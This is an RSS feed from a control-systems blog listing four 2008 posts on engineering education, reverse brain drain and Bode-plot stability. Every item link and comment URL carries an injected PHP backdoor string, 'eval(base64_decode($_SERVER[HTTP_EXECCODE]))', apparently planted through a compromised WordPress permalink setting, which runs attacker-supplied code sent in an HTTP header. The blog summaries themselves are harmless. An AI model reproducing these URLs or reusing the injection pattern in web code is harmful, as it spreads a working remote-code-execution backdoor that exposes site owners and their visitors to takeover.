<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog at ControlTheoryPro.com &#187; education</title>
	<atom:link href="http://blogs.controltheorypro.com/category/education/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogs.controltheorypro.com</link>
	<description>The online resource for Control Systems.</description>
	<lastBuildDate>Sun, 11 Oct 2009 00:10:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Reverse Brain Drain&#8230;</title>
		<link>http://blogs.controltheorypro.com/2008/10/30/reverse-brain-drain/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/10/30/reverse-brain-drain/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 31 Oct 2008 04:08:17 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[self-righteous rant]]></category>
		<category><![CDATA[space news]]></category>
		<category><![CDATA[the need for more engineers]]></category>
		<category><![CDATA[brain drain]]></category>
		<category><![CDATA[inspriation]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=130</guid>
		<description><![CDATA[For years the US has relied on foreign born engineers to supplant low US graduation rates.  India is starting to see some of its best and brightest return.  If the trend grows much it could spell serious trouble.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/10/30/reverse-brain-drain/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Determining Stability from the Bode Plot</title>
		<link>http://blogs.controltheorypro.com/2008/08/31/determining-stability-from-the-bode-plot/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/08/31/determining-stability-from-the-bode-plot/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 01 Sep 2008 06:58:35 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[Bode]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[stability]]></category>
		<category><![CDATA[bode plot]]></category>
		<category><![CDATA[controls]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=40</guid>
		<description><![CDATA[In some cases the closed loop system stability can be determined from the Bode plot.  Determining the stability and the conditions under which stability can be determined from a Bode plot are new to me so I've included a link to a Google groups topic.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/08/31/determining-stability-from-the-bode-plot/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Controls Education</title>
		<link>http://blogs.controltheorypro.com/2008/08/26/controls-education/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/08/26/controls-education/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 27 Aug 2008 04:55:43 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[controls education]]></category>
		<category><![CDATA[engineering educaton]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=35</guid>
		<description><![CDATA[Controls education is taught like anything else in engineering.  Lots of theory and derivations with simple examples.  It should be centered on projects where theory is taught as a tool to further the solution.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/08/26/controls-education/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Engineering Education</title>
		<link>http://blogs.controltheorypro.com/2008/08/09/engineering-education/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/08/09/engineering-education/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 09 Aug 2008 20:06:51 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[the need for more engineers]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=20</guid>
		<description><![CDATA[Engineering education is still based on an obsolete set of industry needs.  Testing and homework are obsolete.  It's time to rethink engineering education.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/08/09/engineering-education/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

